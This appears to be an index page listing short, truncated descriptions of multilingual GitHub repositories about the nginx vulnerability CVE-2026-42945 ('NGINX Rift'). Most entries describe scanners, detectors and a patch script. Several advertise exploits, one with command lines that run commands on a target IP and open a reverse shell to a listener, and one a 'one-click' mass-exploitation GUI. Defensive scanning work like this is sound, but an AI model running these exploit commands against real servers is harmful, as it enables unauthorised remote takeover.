nginx-rift-check

nginx-rift-check CVE-2026-42945 、nginx の ngxhttprewritemodule におけるヒープバッファオーバーフローに対する脆弱な設定を検出します。 影響を受ける nginx バージョン（0.6.27 〜 1.30.0）を実行しているだけでは、悪用可能とは限りません。設定に特定のディレクティブの組み合わせが含まれている必要がありますが、その組み合わせは稀です。実世界の設定を対象とした2回の独立したスキャンでは、1465件中0件、35633件中1件が悪用可能でした。このスクリプトは、あなたの設定がどちらの側にあるかを教えてくれます。 検出対象...

nginx-rift-detect

nginx-rift-detect Скрипт поведенческого обнаружения для CVE-2026-42945 NGINX Rift — переполнения кучи в ngxhttprewritemodule, присутствующего в nginx с 2008 года. ⚠️ Отказ от ответственности Этот инструмент предназначен исключительно для авторизованного тестирования безопасности и исследований...

nGixshell

nGixShell 은 nginx CVE 스캐너이자 RCE 익스플로잇 프레임워크입니다. CVE-2026-42945 — ngxhttprewritemodule의 치명적인 힙 버퍼 오버플로우 — 에 대한 작동하는 개념 증명과 53개의 nginx CVE 를 자동 HTTP 프로브, 핑거프린팅, WAF 탐지/우회, 웹 보안 감사 및 보고서 생성을 통해 스캔하는 기능을 제공합니다. 외부 의존성 제로. 순수 Python 3 표준 라이브러리. 빠른 시작 root@kitploit: 취약한 실습 환경 실행 docker compose -f...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 設定スキャナー 言語：日本語 | English これは、NGINX設定にCVE-2026-42945（NGINX Rift）およびCVE-2026-9256のリスクパターンが存在するかどうかをチェックする軽量スクリプトです。 この脆弱性は、depthfirstが記事「NGINX Rift: Achieving NGINX RCE via an 18-Year-Old...

ai-vuln-rediscovery-nginx-cve-2026-42945

AI-ассистированное повторное обнаружение CVE-2026-42945 в nginx В этом репозитории документирован воспроизводимый эксперимент по повторному обнаружению уязвимости с помощью AI в модуле ngxhttprewritemodule nginx, впоследствии связанной с CVE-2026-42945. Эксперимент намеренно узок. Уязвимый файл...

nginx-rift-detector

NGINX Rift Detector for CVE-2026-42945 所有するNGINXサーバー向けの読み取り専用Bashチェッカーです。CVE-2026-42945の開示後、運用担当者が次の2つの質問に答えるのに役立ちます: このサーバーはまだ、露出したNGINXビルドまたは危険なrewrite設定で稼働していますか? チケットを閉じる前に確認が必要な、クラッシュ・長いURI・エンコーディングの兆候がローカルログにありますか? ここから始める 項目| リンク ---|--- ツールページを開く|...

fix_nginx_cve_2026_42945

Скрипт для одношагового исправления CVE-2026-42945 NGINX Автоматически определяет дистрибутив системы, обновляет NGINX до исправленной версии ≥1.30.1, создаёт резервную копию конфигурации и выполняет автоматический откат. Описание уязвимости Идентификатор уязвимости: CVE-2026-42945 Название...

CVE-2026-42945-nginx-rift

В этом репозитории нет README...

CVE-2026-42945

이 저장소에는 README가 없습니다...

CVE-2026-42945

CVE-2026-42945 PoC Go Русский | English Инструмент для обнаружения и эксплуатации уязвимости nginx HTTP/2 CVE-2026-42945 , предназначенный для проверки наличия уязвимости в авторизованной среде , сравнения эффективности исправлений и воспроизведения поведения PoC в контролируемой лабораторной...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — защитный сканер Организации, использующие NGINX Open Source , NGINX Plus или ingress/контроллеры на базе NGINX, должны проверить, затронуты ли они уязвимостью CVE-2026-42945, и установить исправления или перенастроить до того, как попытки эксплуатации достигнут...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 치명적인 NGINX RCE CVSS 9.2 분류 카테고리: 0-Day / 원격 코드 실행 CVE: CVE-2026-42945 CVSS: 9.2 치명적 발견일: 2026년 5월 12일 패치일: 2026년 5월 F5 분기별 보안 릴리스 출처: GitHub DepthFirstDisclosures/Nginx-Rift 취약점 세부 정보 2008년 에 도입되어 16년 동안 존재했던 NGINX의 ngxhttprewritemodule 구성 요소의 힙 버퍼 오버플로우 입니다. 영향받는 버전 : NGINX...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC with Reverse Shell 원격 코드 실행 PoC for CVE-2026-42945 , NGINX의 ngxhttprewritemodule에 존재하는 힙 버퍼 오버플로 취약점입니다. 이 포크는 공개된 트리거 PoC에 임베디드 리버스 셸 리스너와 CTF 및 격리된 랩 환경을 위한 설정 가능한 익스플로잇 파라미터를 추가로 포함합니다. 취약점 요약 CVE ID: CVE-2026-42945 별칭: NGINX Rift 영향 컴포넌트: ngxhttprewritemodule...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui JDK21 버전이 필요합니다 java -jar cve-2026-42945-scanner.... 대량 스캔 + 원클릭 취약점 악용 JDK21이 필요합니다 압축 해제 후 java -jar cve-2026-42945-scanner.... 대량 스캔 + 원클릭 취약점 악용...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 취약점 스캔 및 검증 도구 NGINX Rift는 CVE-2026-42945 및 CVE-2026-9256 NGINX ngxhttprewritemodule 힙 오버플로우 취약점을 대상으로 하는 오픈소스 스캔 및 검증 도구입니다. 원격 네트워크 핑거프린팅 스캔과 로컬 심층 구성 감사를 지원하여 보안 팀이 NGINX 환경의 잠재적 위험을 신속하게 식별할 수 있도록 돕습니다. 취약점 개요 CVE-2026-9256 CVSS 4.0: 9.2 Critical...

Scanner_CVE_2026-42945

Nginxインスタンスが脆弱なCVE-2026-42945 NGINX RIFTを検出するスキャナー。 入力として個別IP、CIDR範囲、ASNを受け付けます。 概要 CVE-2026-42945は、1.30.1 より前のすべてのNginxバージョンに影響します。 このツールは、HTTPおよびHTTPSの標準ポートを調査し、レスポンスのServerヘッダーを読み取り、各ホストを脆弱、安全、または潜在的に影響を受ける（隠しバージョン）として分類します。 結果はログに保存され、CVEに脆弱なホストのリストと、最後に詳細な.CSVファイルが出力されます。 要件 root@kitploit: p...

CVE-2026-42945-NGINX-Rift-Check-Script

Questo repository non contiene un README...

nginx-rift-scanner

nginx-rift-scanner Abhängigkeitsfreier Python 3 Scanner für CVE-2026-42945 "NGINX Rift" — ein CVSS v4.0 9.2 KRITISCHER heap-basierter Pufferüberlauf CWE-122 in ngxhttprewritemodule. Was er erkennt Bei jedem Aufruf werden zwei unabhängige Prüfungen durchgeführt:...

cve-2026-42945-scan

cve-2026-42945-scan Scanner statico per file di configurazione NGINX che rileva il pattern rewrite/set associato a CVE-2026-42945. Lo scanner analizza le configurazioni NGINX con crossplane, percorre i blocchi location, e stampa ogni posizione che appare affetta in questo formato: root@kitploit:...